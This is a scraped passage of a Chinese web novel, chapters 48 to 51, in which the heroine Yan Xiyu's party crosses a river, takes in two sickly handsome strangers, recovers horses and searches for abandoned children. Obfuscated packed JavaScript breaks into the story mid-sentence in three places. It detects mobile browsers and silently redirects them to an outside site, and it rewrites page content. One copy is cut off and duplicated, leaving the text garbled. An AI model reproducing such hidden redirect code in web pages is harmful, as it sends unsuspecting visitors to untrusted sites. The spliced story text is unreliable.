渡船要靠近埠头时,总是会摇晃的厉害,盛樗容本来就晕船,这会儿撑着舱篷又痛苦地弯下了腰。 美人蹙眉也如此好看。 “阿妹,”罗采春见到那艄公流血的腿就有点不敢下船,怕埠头上有人会找他们的麻烦。 燕惜妤听出了她的担心,也不再看美人,转头对仲茂和仲四说:“我先下船,你们殿后。”说完,看都不再看那艄公一眼。 其他的人纷纷给她让路。 燕惜妤一个先下了船,后面跟着罗采春和佟瑰方俩姐弟,仲五牵马,仲二和仲三一前一后扶着板车,走在最后面的是仲茂和仲四,仲四手中的砍刀还沾着鲜血。 埠头上围了一圈人,有脚行搬工,也有摆渡的艄公和船夫,有些单纯是在看热闹,但大多数都是目露凶光地盯着燕惜妤。 燕惜妤不慌不忙地左手一扬,链镖如银色灵蛇窜出了她的衣袖,然后像是活着似的,不停地颤动着,并且发出“嗡嗡”作响的声音。 链镖一亮出来,那些堵路的船夫和艄公不声不响地就让开了一条路。 刚才这些人可都是看的清清楚楚,这个女人就是用这玩意栓着老三的脖子站在竹竿上的! 他们可不想也被这玩意栓着自个儿脖子! 燕惜妤大闹摆渡船,然后带着人大摇大摆地离开,根本没人敢拦她,哪怕是那上渜江的船老大也不敢。 船老大之所以在江上这么嚣张,是因为商队需要用他们的船过江,也因为商人讲究表面和气生财,除非日后商队不再走这条路,否则船老大永远都能在江上称霸。 但对于那些凶狠而又只渡江一次的人,他们通常不会硬碰硬。因为他们的摆渡船就在这上渜江两边的埠头上,而对方却来历不明,万一惹怒了那些杀人不眨眼之徒,一把火烧了渡船,再把他们全杀了,他们可就冤了。 燕惜妤带着人不紧不慢地离开埠头,正准备向官道的方向走,忽然就听见了仲茂的声音。 “你俩怎的一直跟着我们?!” 燕惜妤脚步一顿,转过身来,然后看见了那俩美男子。 ……美人主动送上门? 燕惜妤和对方目光接触,又去看另一个,那人脸色苍白,好像在生着病。 “问你俩话呢,”仲茂拿砍刀指着对方,“怎的一直尾随着我们?是不是那艄公派你们来的?!” “不是,”羿衍椋缓缓摇头,他没看其他人,而是看着那身手了得的姑娘说,“我和兄弟见女侠不怕那艄公,于是想随着女侠和各位一起赶路。” 燕惜妤还没开口,盛樗容这个晕船晕到现在都还没缓过来的人,挪着脚走来到板车旁,将手搭在板车上。如果不是板车上放满了东西,估计他这会儿已经爬上去躺下了。 他晕船,羿衍椋身上有伤,如果不是伤口缠着布条,鲜血早就染红外袍了。羿衍椋这时还能站着,只说明他在硬撑。但看他的脸色青中泛着白,随时就会倒下的样子。 燕惜妤拧着眉走到他们面前,虽然人是长得好看,但带着这俩人也太显眼了。 “你们是什么人?”燕惜妤问。 “在下是山中猎户,”羿衍椋拱手道,他说的自然,仿佛他真就是那山中寻常的猎户。 燕惜妤想到这人之前避开野鸭的样子…… 嗯,怕野鸭的猎户。 “那你旁边的这人呢?”燕惜妤又看向正扶着板车站着的人。 对方对她笑,开口道:“在下是江上渔夫。” 燕惜妤想到这人在渡船上晕船的样子…… 嗯,晕船的渔夫。 “啊哈哈哈,就他俩这病秧子还是猎户和渔夫,”仲茂举着砍刀笑弯了腰,“就这样的,估计能被一只野兔踹飞,还会被一条小鱼拖入水里,丢脸啊。” “敢问女侠和诸位是?”羿衍椋像是没听见仲茂说的话,只看着眼前的人。 “我们是灾民,”燕惜妤面不改色地说。 羿衍椋扫了眼拉着马的板车,有马匹且手身了得的灾民。 “你说跟着我们走,你知道我们去哪吗你就跟?”仲茂撇着嘴说。 “请问几位要去哪里?”羿衍椋反问。 仲茂被噎了一下,立即吼了回去:“……我问你们要去哪!” “我与兄弟去乌州,”羿衍椋说。 “……”仲茂愣住了,他俩竟然还真的是同路。 他下意识看向燕惜妤。 燕惜妤一直在观察这俩个人,确定他们不是衙门派来逮捕她和罗采春的,这才说:“你们身上带着户籍和路引吗?” 羿衍椋点头:“自然是带着的。” “那你们有带银子吗?”燕惜妤又问,银子才是最重要的。 羿衍椋一怔,而后勾了勾嘴角,摇头说:“我二人身上并没有银子。” 没钱免谈。 燕惜妤刚想转身,就听对方慢悠悠地说:“我二人身上只带了银票。” 银票! 燕惜妤脚步一顿,她还没看见过银票长什么样子。 “佟槿方,你见过银票吗?一张银票多少银子?”燕惜妤悄声问佟槿方,“他身上的银票会不会是假的?” “……银票最少是五十两一张,”佟槿方也悄声说,“大承银庄是朝廷和各州银庄一同经营的,可信。” 有钱人,欢迎加入我们逃跑正被通缉队。 燕惜妤对着眼前的俩人露齿一笑:“既然同路,那你俩就和我们一起去乌州吧。” “在下谢过女侠的收留,”羿衍椋眸中有着笑意,拱手道,“只是我这兄弟身体略有些不适,能否让他在板车上稍作歇息?” 板车上堆满了筐和缸,哪还有地儿让人坐上去。 “……仲茂和仲二把两竹筐背着,就能空出点地儿让给那位公子,”罗采春侧着身要看不看地瞥了几眼那俩位俊俏的公子,轻轻地开口。 仲茂吃惊地看着她,然后立即就恼了:“不行!凭什么啊?!这马是我们的!不给他们坐!” 这俩人一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14465951|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不是好人,仗着长了一副好样貌就来蛊惑几位姑娘,绝不能如了他们的意。 燕惜妤觉得自己这会儿不宜开口,因为马匹确实是仲茂他们的。 正这么想着,忽然就听那猎户说:“先前江中翻了一艘渡船,那船上有商队用马匹拉货物,我们可以沿着江边看看,或许能找到几匹马。” “真有马?”仲茂立即蠢蠢欲动。 “有,”羿衍椋肯定地说,“几位如若不信,我们可以去江边看看。” 仲茂转头去看燕惜妤。 燕惜妤看了看天,大概猜了猜时间,这才说:“仲五留下,你们去看看,带上刀。” “好嘞,”仲茂顿时精神十足地带着人往江边走,边走还边想揽着人家的肩膀。 羿衍椋侧身避开对方的手,回头扫了眼盛樗容。 盛樗容这才颤巍巍地跟了上去。 他们几人一走,仲五就撇嘴生闷气。 凭什么就留下他一人,他也想去寻马。 “仲五,”燕惜妤忽然说,“悄悄跟上去。” “嗳!”仲五一怔,愣愣地看着燕惜妤,也不知道在对方的眼中读懂了什么,一个原地弹跳,抄起砍刀就窜了出去,“燕姑娘放心,我一准盯紧他们!” “……你真要留他们?”佟槿方欲言又止地走了过来。 “他们身上有银票,”燕惜妤瞥他一眼。 “我总觉得这俩人不简单,”佟槿方蹙着眉说,“方才在渡船上看见那一幕,他们竟然不怕你,还跟了来……” “我很可怕?”燕惜妤微微瞪大眼睛。 ……你可不可怕你自己心里不知道? “对于那些怕事而又遇事不出头的寻常百姓来说,你确实令他们害怕,”佟槿方抿了抿嘴唇,“但对于我和仲茂这样的人来说,你就是女侠。” “我觉得你这话好像在骂我,”燕惜妤对他挥挥手,“没事,我这一路挺无聊的,能有两个养眼的人在我面前,我看着能高兴点。” “什么养眼?”佟槿方不明白,但看她的表情就知道她并不在意那俩人的身份,于是他嘀咕了一句,“当真是身手了得就敢如此肆无忌惮,就不怕哪天也遇到一个同样武功了得的人。” 燕惜妤没听清,凑过脑袋来问他:“是不是在小声讲我坏话?” “没有,”佟槿方连忙改口说,“你猜他们会把马带回来吗?” “不知道,”燕惜妤无所谓地说,“没带马回来,他们就自己用脚走,我三姐都没坐板车上呢。” 只是没想到,出去的几人真的找到了马,而且还找到了三匹马。 仲茂五兄弟兴高采烈地围着一匹棕色的马,那马还拉着一架空板车。 而在他们身后,是那猎户和渔夫,俩人身后各还跟着一匹马。 燕惜妤一见到那两匹马,眼睛立即就亮了。 “燕姑娘,我们找到马了!”仲茂兴冲冲地对着这边大力挥手。 燕惜妤几步走了过来,却越过他们几兄弟,直奔后头的那两匹高头骏马。 仲茂瞬间呆住了。 “……呃,”仲二看他那样子,挠挠脑壳说,“大哥,你之前是不是不该提起马,你看他俩也找到了马,日后他俩在燕姑娘跟前就和咱几个一样了。” 大家都有马,以后就不能拿马再说事了。 仲茂一听,眯着眼睛陷入了沉思。 49. 第49章 全身乌黑的马,和全身雪白的马,燕惜妤是第一次见到。 “……这两匹马真漂亮!”燕惜妤一脸赞叹地看着眼前的这两匹马。 仲茂凑过来说:“燕姑娘,我找到的马也是良骙。” 燕惜妤这才回头看了看那匹拉着空板车的马,那是匹棕色但马头夹杂着白色的马,四蹄有力,看着像是拉惯了板车的商队的马。 “也不错,”燕惜妤点点头,然后又转头看向眼前的这两匹马,“这两匹马配着马鞍,不像是商队拉货物的马。” “……这两匹马也是我先看见的,”仲茂板着脸说,“但它们不让我们几兄弟靠近,见人就踢,凶得很。” 燕惜妤立即转过身来看他:“被踢到了?伤在哪?让槿方来给你看看。”说完,又走过来看仲二他们几个。 “没事,都没事,”仲茂昂着头叉腰说,“咱几兄弟哪能让一匹马给踢到。” “那就好,”佟姑娘放下心来,有些严肃地说,“人没事就好,其它的都不重要。” 仲茂心里立即就得劲了,有些傻乎乎地憨笑着:“都听姑娘的。” “马不给靠近,那它们这会怎么跟了过来?”燕惜妤好奇地又去看那两匹马。 仲茂不情不愿地开口:“阿七和阿盛一出现,它们就消停了,跟着他俩后头就过来了。” “阿七?阿盛?”燕惜妤看看那两匹马,又去看猎户和渔夫,“谁是阿七和阿盛?” “他俩,这是阿七,”仲茂指了指脸色青白的猎户,又去指精神萎顿的渔夫,“这是阿盛。” 那叫阿七的面露倦容看着她,而阿盛侧是走一步颤三颤,仿佛下一霎就会倒地不起。 “女侠,我们寻到马了,”羿衍椋直着腰杆,语气平缓地说,“请问我俩能随你们一同去乌州吗?” “行吧,”燕惜妤看着这俩个病秧子的美人,反正对方身上有银票,就冲这点,她就能带上他们,“不过别叫我女侠,我姓燕,燕惜妤。” 燕惜妤说出自己的姓氏,然后就盯着俩人看。 对面俩人像是听见寻常姓氏的表情,很自然地开口:“燕姑娘。” “嗯,我喊你们阿七和阿盛,”燕惜妤伸手指了指旁边刚找到的那木板车,“这板车空着,你俩上去歇会吧,我怕你们再这么走下去,会倒半道上。” “那在下就失礼了,”盛樗容实在是快要撑不住了,他颤巍巍地走到板车旁,有些艰难地爬上了板车,然后一躺下就不动了。 羿衍椋还站着。 “你也坐上去歇会,”燕惜妤对他说,“看你那脸青白的,如果不是没看见你有外伤,我还以为你失血过多呢。” 羿衍椋垂着眼眸说:“那在下也失礼了,燕姑娘别见笑。” “不笑你,累了就该歇息,”燕惜妤说完,从他身边走了过去。 等她走开后,羿衍椋这才挺着腰杆上了板车。当他后背靠着板车那板沿坐下的瞬间,眼前忽然一黑。 其他人见他们俩个大男人坐上了板车,目光中都露出了鄙视。 “这俩还说是猎户和渔夫,”仲二讽刺道,“看着就像是和那些个富家公子似的,一个个的手无缚鸡之力。” “就是,和那佟兄弟一样,都是吃不了穷的公子,”仲五说。 燕惜妤笑了笑。 佟槿方吃的苦可太多了,六、七岁就去当了乞丐,一当就是十年,说他像富家公子,只能说明他确实出身于富裕家族,身上有着大家族才会有的气度和风范,但并不能说他没吃过苦。 她扫了眼板车上的俩人,或许这俩人也一样,出身于富裕家族,但仍少不了在外面吃苦。 都是经历过苦难的人。 “以后要一起去乌州,可不能内讧,”燕惜妤提了一句,“他们身上有银票。” “晓得了,”仲茂拖着调子不情愿地说,“老二,老三,你俩一人牵着这两拉板车的马,咱们该赶路了。” 仲二仲三牵着拉着板车的马走在最前头,另外那两匹像是跟定了阿七和阿盛似的,一直跟在那板车后面。 佟槿方看见好马两眼发光,跟着马走着,罗采春和佟瑰方跟在他身边。 仲茂和仲四随后跟上,仲五和燕惜妤走在末尾。 “仲五,你一路跟过去,看到了什么?”燕惜妤低声问。 “确实像大哥说的那样,”仲五也低声说,“他们先看到那两匹好马,想上去抓,但抓不到,那阿七阿盛慢吞吞跟在后面,两匹马一看见他俩就安静下来,后来那阿七说再找找,然后就在乱石滩边看到了板车陷在乱石里的另外那匹拉着板车的马。” “嗯,我知道了,”燕惜妤想了想,然后说,“行,这事就到这了,你这事做的不错。” 仲五像是完成了重大任务似地松了口气。 这边正小声说着话,前头忽然传来了佟槿方的声音。 “燕姑娘,你快过来看看!” 燕惜妤抬头看了眼,官道前后虽然也有商队,但彼此离的有些远,不至于会出事。 可佟槿方这声音听着像是在着急。 “怎么了?”燕惜妤大步走了过去。 佟槿方和他姐还有罗采春守在新找到的那板车旁,三人盯着板车上的俩美人看着。 ……这是喊我一起过来看美人? “阿七和阿盛怎么了?”燕惜妤走过来问。 “他俩好像昏迷了,”佟槿方轻声说。 “昏迷?”燕惜妤转头看向板车,“赶路累成这样的?” 板车上的俩个人,渔夫阿盛侧躺着,而猎户阿七靠着板车矮沿坐着,双手垂在身侧,低着头,对旁边的说话声充耳不闻。 “阿七?阿盛?”燕惜妤凑过去叫俩人的名字,俩人都没有反应。 “莫不是睡了?”罗采春轻声说,“赶路累的紧,估计叫不醒。” 叫不醒? 燕惜妤想到自己断气的情况,那才是真的叫不醒。 “佟槿方,你来,给他们诊一下脉,”燕惜妤后退一步,对佟槿方说,“看看他们是死还是活。” 佟槿方一怔,先是看看她,这才伸手想去搭上阿七的内手腕。 只不过他的指尖刚触到对方的肌肤,他的手腕反而被对方的手钳住了。 佟槿方被吓了一跳,下意识想后退,但却挣不开被人钳着的手。 阿七慢条斯理地抬头,他的髻冠还歪着,脸色仍是青中泛着白,看着恹恹的,但整个人的感觉一下子就变了。 不过也只是一瞬间的事,下一霎他就松开了钳着佟槿方的手,有气无力地靠着板车矮沿:“抱歉,我睡迷糊了,以为还睡在路边。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“就是,我们仲六是个听话的,”仲茂昂着头说。 “仲六?”燕惜妤眨巴眨巴眼睛,“仲六是谁?”不是五兄弟吗?哪里又外出了一个? “我们找到的这匹马,就是仲六,”仲茂摸了摸马脖子。 马叫仲六? 燕惜妤扫了一眼阿七,马叫仲六,你是阿七。 阿七估计是感觉到视线,抬眸看了过来。 燕惜妤和他视线相触,在心里赞叹了一声美男子,然后指着那一黑一白的两匹马说:“你们的马叫什么名字?” “雪照,”开口的是阿盛,他像是半睡半醒的状态,闭着眼睛说,“我的马叫雪照。” “白色的这匹马名字叫雪照?”燕惜妤看着那匹白色的高头大马,“这名字很适合它。” 燕惜妤又去看阿七:“黑色的那匹马是你的?那它叫什么名字?” 羿衍椋右手抵着额角,头微侧向这边,但他的目光并没有放在谁的身上,听见提到黑色的马,他才有些怠色地开口:“玄归。” “玄归……”燕惜妤看着那匹健壮的黑马,马身上浓密的黑色马毛在阳光下隐隐泛着光泽,“也很适合它。” 羿衍椋垂着眼睫勾了勾嘴角。 燕惜妤觉得这俩人估计是还没睡够,于是说:“你们再睡会吧。” 她话才刚说完,阿盛已经“啪”的一声又躺下了。 50. 第50章 斜阳西下,仲茂他们已经找到了歇息的地方。 是在一个小山坡旁边,附近有条被野草掩盖着的山涧。 大家早就已经习惯了露宿野外,各自都有事情要做。 仲茂他们五人和佟槿方负责牵马去喝水,还要负责砍些枯枝当柴火。 罗采春和佟瑰方负责烧水煮吃的。 悬崖村的老村长给了他们不少吃的,有干粮有谷豆还有腌鱼和野猪肉,总之吃食方面是暂时解决了。 燕惜妤负责坐着等吃,罗采春完全不让她帮忙。 燕惜妤刚盘腿坐下,就看见阿七也走了过来。 他并不像别人那样随意坐下,而是找了处草地比较干净的,看起来很平整的地方才盘腿坐下。 虽然他这种看似算是小挑剔的行为在这荒野中完全是多余的,但他单手一撩长袍下摆再坐下的姿势却很是好看。 燕惜妤光明正大盯着看。 而阿盛像是终于从晕船中缓了过来,他不像阿七那样要挑选地方才坐,这会儿走过来在阿七身边坐下。 他俩刚好坐在燕惜妤的对面,三人目光互相一接触,燕惜妤先露出一个笑容。 “燕姑娘,”仲茂在这时走了过来,他抱着从附近捡来的柴火,有些期待地问,“今日能吃腌鱼吗?” “你问我三姐,她要是煮,我们就有的吃,”燕惜妤说,“粮食不归我管。” “那你管啥?”仲茂顺口问。 我什么都不管。 燕惜妤抬眼看着仲茂,仲茂缩了缩脖子,抱着柴火转身跑了。 他才刚走开,佟槿方又过来了。 他看看阿七和阿盛,然后走到燕惜妤身旁坐着。 “你有话要说?”燕惜妤转头问他。 “……我要准备吗?”佟槿方说着些没头没脑的话,“你在渡船上……有没有什么感觉?” 他虽然说得含糊,但燕惜妤听懂了。佟槿方这是在问她之前在渡船上动了武之后身边的状况,需不需要他拿出银针给她扎两下。 “没事,和在村里一样,估计也是被你吓到了,”燕惜妤笑着说。 佟槿方没说话,只是蹙着眉在想着事情。 这时吃的煮好了,因为人多,小铁锅和小瓦锅都煮了糙米饭,腌好的野猪肉放米饭里一起焖熟,米饭上面蒸了一碗腌鱼肉,这就是一餐了。在这野外也只能尽量简单点,能填饱肚子就行。 因为还要烧水来喝,于是小铁锅和小瓦锅里的米饭全都分到各自的陶钵和碗里,空出来的小铁锅又放回用几块石头垒起来的灶上烧水。 小铁锅和小瓦锅里的糙米饭全部分完,也就只够一人一碗。 怕大家吃不饱,罗采春又给每人分了一个油渣饼。这油渣饼也是悬崖村的妇人帮忙烙的,用野猪的肥肉熬出来的油烙饼,还把油渣加到面里烙,香是很香,但放不了太久。 “阿七阿盛,来,吃饭,”罗采春和佟瑰方端着碗过来时,一直拿眼睛看向燕惜妤,燕惜妤思索了一下,过来把她手里的两个碗分别递给阿七和阿盛,然后又把装有两个油渣饼的碗放在他们面前,“赶路没什么能吃的,你们将就一下,等到了乌州,你们回到家就能舒坦了。” “已经很好了,谢过燕姑娘的收留,”盛樗容之前一直晕船,这会儿总算是感觉好些了,也能开口说话了,不像之前在船上,一张嘴就要吐。 “不用客气,你们还帮我找到了一匹马和板车,就冲那匹马,这一路上我都该照顾你们,”燕惜妤对他俩摆摆手,“趁热吃,晾了怕野猪肉会腻。” 碗里是大半碗糙米饭,旁边有几块不小的肥瘦相间的腌肉,另外还有一块像是鱼肉的东西。 羿衍椋和盛樗容对视一眼,拿着筷子开始吃饭。 他们已经很饿了,一个身体有伤,之前完全没胃口。另一个饭倒是吃了,但是在渡船上又全给吐了。 糙米饭其实吃在嘴里是很粗糙的,吃着刺嗓子,但好在和野猪肉一起焖熟,猪油混在米饭里,让糙米饭变得软滑了些,倒是吃着比寻常的糙米饭要容易下咽。 但最重要的是那块鱼肉,一入口就能吃出极为鲜美的味道。 羿衍椋和盛樗容互相对视了一眼。 “哎,我就喜欢这腌鱼肉,太好吃了,”仲茂边吃边发出惊叹声。 “明日不吃了,”罗采春瞥了他一眼,“要留着到乌州或许能换到银子。” “对,不不不吃了,换换换银子,”仲四是一口糙米饭,再一口油渣饼,他虽然说话结巴,但这些人里没人会笑话他,所以他有些也会说两句话。 “卖给乌州的酒肆还是茶馆?”佟槿方举着筷子问,“那些掌柜都是吝啬鬼,估计卖不了几个钱。” “还是吃了吧,”燕惜妤想到悬崖村有这好资源却藏着不敢多卖,就连老村长和他那三个儿子伤了都没钱看病的事,“这腌鱼肉万一留到乌州会变馊,那不如都吃了。” 她说要吃,罗采春于是点头:“那吃阿妹的,两瓮腌鱼肉都不留,全吃了。” “好啊!”仲茂立即欢呼了一声。 吃过饭,灶上烧的水也开了,碗里的饭也吃了,每个人倒了半碗开水,然后捧着碗坐着慢慢喝。 罗采春还要再煮两小锅水,留着明早起来喝。 燕惜妤坐着坐着觉得有点累,她在渡船上使用了天赋,虽然没出现离魂症的断气问题,但她现在有了新的后遗症,就是容易产生疲劳感。 “仲茂,我先睡了,你们留意着灶火,晚上别让火熄了,”燕惜妤提了一句。 在野外露天睡觉,身旁必须要有火,这样能避开很多危险。 “燕姑娘你放心,我们会轮流守夜的,”仲茂拍着胸脯保证。 燕惜妤刚想找棵树下睡觉,阿七忽然开口了:“燕姑娘,你和俩位姑娘在板车上歇息吧。” 板车虽然不大,但挤下三个女子还是可以的。 燕惜妤其实睡哪里都可以,但她还是先去问罗采春她们:“三姐,佟姑娘,你们觉得呢?” 罗采春拿手掩着脸小声说:“阿妹,我们还是在板车上歇吧。”说完,还偷偷用眼尾瞥了一下阿七和阿盛俩人。 燕惜妤顺着她的视线看过去,看见阿七和阿盛那好看的脸…… 嗯,是该避开些。 “那我们三个在板车上歇息,你们就受累些睡地上,”燕惜妤伸手要去将板车拉到树下,旁边却有人抢先她一步。 羿衍椋双手拉着板车,问她:“放哪里?” “树下,”燕惜妤指了指旁边的一棵树,“谢谢阿七。” “燕姑娘客气,”羿衍椋将空板车拉了过去,然后转身走回之前他坐的地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480370|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这辆板车是仲茂他们连同马匹一起找到的那辆,之前阿七和阿盛在这上面躺了一个下午。 这会儿轮到燕惜妤躺了上去,躺上去之后,燕惜妤才发现这板车比佟槿方买到的那旧板车还要大一点,估计是专门用来远距离拉货物的,所以比别的板车要大。 这样一来,躺她们三人应该不会太挤。 只不过一眨眼燕惜妤就睡着了,根本就不知道板车睡三个人到底是挤还是不挤。 等醒来时,天色已经大亮。 燕惜妤有些茫然地坐了起来,看着罗采春背对着她在那几块石头垒起来的灶头旁忙碌着。 我一觉睡了这么久? “燕姑娘,你醒了,”仲茂他们几人牵着两匹马走回来,后面还跟着一黑一白两匹马。 “四匹马已经混熟了?”燕惜妤跳下板车,转头看了看,发现阿七和阿盛正在山涧边站着,估计是在洗漱。 “昨夜里它们靠一起睡的,”仲茂笑着说,“很快我就能骑马背了。” “悠着点,可别摔伤了,”燕惜妤拿出她的陶钵,然后指着山涧的方向说,“你要真想骑,你问问阿七他们……” 她的话说了一半停下了,仲茂觉得奇怪,转头一看,惊叫出声:“你从哪里抓了只脏猴子?” 只见阿七手里拎着一小团走了过来。 “不是猴子,”阿七像是有些苦恼地说,“是个小娃儿,我在草丛里看到的。”他以为草丛里藏了什么危险的动物,结果走过去一看,是个小娃娃。 燕惜妤看了看他,刚才你还在山涧边站着,怎么一转眼你就跑草丛里去了。 “是个小娃娃?”罗采春听见声音,也走了过来,“哪里来的?这附近难道有村子?” 那被拎着的小娃娃脏兮兮的,头发又长又乱,像个小草窝,身上套着好几层破布似的衣裳,小脚也全是泥巴裹着,小手也很脏,走在路边不仔细看,根本就看不出是个小娃娃。 这时被人提着衣领拎起来,也不喊不叫的,小脸藏在乱糟糟的头发后面,根本就看不见表情。 “村里的小娃儿也没这么脏兮兮啊,”佟槿方蹙着眉说,“和城里的小乞丐一样。” 小乞丐,没人养着的小孩。 “这……”佟瑰方看了看燕惜妤,她在知道佟槿方六、七岁之后从家里出来当了十年的乞丐之后,就再也听不得小乞丐这几个字。 燕惜妤将视线从小娃娃移到阿七的脸上:“放回去。” 她这话一出口,其他人皆是一怔,但没人出声反对。 羿衍椋垂着眼睫,一声不吭地转身把手里的小娃儿又拎着走到草丛旁,然后弯腰将人放回到草丛里。 那丛野草立即抖了几下,然后就没了动静。 羿衍椋微垂着头看那片野草站着没动。 盛樗容走到他身边低声说:“如果带到县上去,育婴堂会养大的。” 羿衍椋扯了扯嘴角:“养不了几日,伶俐些的就会被那些世家挑去当死士调训,还不如在这山里自在些。” 那你之前为何又把那小娃儿拎出来。 盛樗容瞥了好友一眼,在心里叹气:“过去吧,别让燕姑娘误会你在生气。” 羿衍椋面无表情地说:“难道不该是你在生气?” 盛樗容一听,脸色突然变了一下。 51. 第51章 燕惜妤让罗采春烧开水泡硬馍馍。 硬馍馍也没剩几个了,因为有悬崖村给的吃食,这硬馍馍也就没再吃,反正再放久些也不会坏。 不过燕惜妤叫罗采春泡了一个,罗采春以为是她要吃,于是在刚烧开了水的小铁锅里泡了一个硬馍馍。 硬馍馍泡成面糊糊之后,燕惜妤拿来一个悬崖村民给的大陶碗,把面糊糊全都倒了进去,然后在碗里放了一个木勺子。 就在罗采春以为她要坐着吃面糊糊时,她却端着碗走到了仲五的面前。 仲茂他们五兄弟这时正坐在一起发呆。 平时他们很少会这样,通常这时他们该围着灶头等吃的,这会儿却一个个闷着头呆坐着。 “你们这是在想什么?”燕惜妤奇怪地看了他们一眼,“不去等吃的,在这发什么愣?” 不等他们说话,她就看着仲五说:“仲五,跟上去。” “跟什么?”仲五一时有点没反应过来。 燕惜妤转头往阿七之前放人的草丛看了一眼:“你能找到吧?” 这下不仅是仲五,就连仲茂他们四人都反应了过来。 “能!”仲五从地上一弹而起,“我一定能找到那小娃娃!” “我们也去!”仲茂他们也站了起来。 “你们四人留下,”燕惜妤扫了他们四人一眼,“我三姐需要人保护,你们要看好她和佟姑娘姐弟。” “嗳,好嘞,”仲茂立即停下了脚步,然后拍着仲五的肩膀说,“老五,把娃带回来。” “大哥放心,我和燕姑娘一定将小娃娃带回来!”仲五昂首挺胸地走到那野草丛旁边,在里面转了一圈,然后回头对燕惜妤说,“燕姑娘,走这边。” 羿衍椋和盛樗容就在旁边看着,等俩人向前走时,他们也跟了上来。 “燕姑娘,你们这是?”盛樗容好奇地问。 “找刚才那小娃娃,”燕惜妤端着碗说,面糊糊刚用开水泡好,那碗不隔热,她只能时不时换手来端着。 羿衍椋和盛樗容一听,互相对视了一眼。 “……那为何方才要放走?”盛樗容不由地问,放了又找,这不是多此一举吗? “那小娃娃的衣裳里兜着几个小野果,那样小的小娃娃一大早找到吃的却不吃,可能是带回去留给别人,”燕惜妤小心翼翼地留意着脚下,她手里端着碗,怕摔了,“我怕还有其他人,所以让阿七把人放回去给我带路。” “你能找到?”盛樗容又问,这荒山野岭的,藏着一个小娃娃可真是太难找了。 “我不能,”燕惜妤摇头,她看着前面带路的仲五说,“仲五可以找到。” 羿衍椋和盛樗容的视线一下子就移到了仲五的身上。 “仲五在山里能认路,”燕惜妤怕他们不信,刚想再多说两句,旁边忽然伸过来一只手,她侧头看过去。 羿衍椋走在她身边,垂着眼看过来:“碗给我端着。” “很烫的,”燕惜妤说,她的两只手都已经被烫红了。 “我不怕烫,”羿衍椋的声音有些懒散,走路还会避开那些长长的野草叶尖,看着就是个很爱干净的人,不过他此时伸着手说,“我从小打猎,手还是很稳的。” 你个怕野鸭的猎户,怕不是在山里被野鸭追着跑。 见他伸着手,燕惜妤于是小心地将手里的大陶碗递了过去:“那你小心点,我要靠这碗面糊糊哄小娃儿跟我走的。” “好,我会小心,”羿衍椋将碗接过来,手一触到碗,立即就感觉到一阵烫手的温度。 他看了看燕惜妤,难为她一直端着这么烫的碗在这山里乱窜。 仲五说能找到,他就真能找到,当他带着三人在山里转了又转之后,终于在一处乱石堆找到了那个小娃娃。 就像燕惜妤猜测的那样,小娃娃身旁还有着两个人,都是小孩子。 一大两小的三个小孩子,燕惜妤这时候已经分不出两个小一点的小娃里的哪一个是之前见到的那一个了。 两个小娃娃对他们张开了小手臂,将那个大一点的小孩子挡在了身后。 那个大一点的小孩子这时半趴在一块石头上,能看出那双腿应该是伤了的,因为小孩子是靠着双手臂在移动着身体,而双脚却在乱石里拖着。 燕惜妤站着没动,另外三人也站着没动,一时两边形成了对峙。 最后是仲五忍不住先开口:“燕姑娘……” 他这一开口,立刻吓得那双腿有伤的小孩一个哆嗦,一下子就靠着双手扑了过去,可周围都是大大小小的乱石,他顿时被卡在石缝里动弹不得。 那俩个小娃娃嘴里呜哇呜地爬过去想再将人扶起来,结果自己也卡在了石缝里。 “你们谁会哄小孩子?”燕惜妤问身边的三人。 没人说话,显示大家都不是会哄小孩子的人。 燕惜妤只能对阿七伸手,对方沉默地将手里的陶碗递给了她。 她向前走了两步,然后随意挑了块石头坐下来。 那三个小孩都警惕地将头朝着这边。 “看我,”燕惜妤对着三小孩扬了扬手,然后又指了指旁边的一块脑袋那么大的石头,“再看这块石头。” 话音刚落,就见她左手一扬,一道如银光如灵蛇般在她衣袖疾闪而出,下一霎,就见那块石头上溅出了星星点点的火光,紧接着石头骤然就裂开了。 那三个小孩转头看着那四分五裂的石头,顿时就不敢动了。 “别怕,我不伤害你们,”燕惜妤收回链镖之后,语气很平常地对三小孩说,“我要是想伤人,谁都跑不了,就你们这仨的小身板,根本挡不住我。” 那三个小孩的身体开始簌簌发抖。 燕惜妤也没再多说什么,而是勺了一勺子面糊糊伸了出去:“饿吗?我这有面糊糊,你们能吃吗?” 那三个小孩又转头转向了她手里的勺子和碗。 忽然那大一点的小孩子开了口,听声音是个男娃:“……面、糊糊?” “就是馍馍煮成的面糊糊,你以前吃过吗?”燕惜妤和他说话,语气很平常,就像在聊天,“你们能吃吗?” 那小孩顿了一会儿,朝着这边伸长了脖子,同时还张开了嘴巴。 燕惜妤轻轻地喂了他一勺子面糊糊:“已经不烫了,放心吧,没有毒,我要想杀人会直接动手,不会浪费银子再去买毒药。” 那小孩咂了咂嘴巴,然后把俩小娃娃向这边推了推:“给……阿弟阿妹吃。” 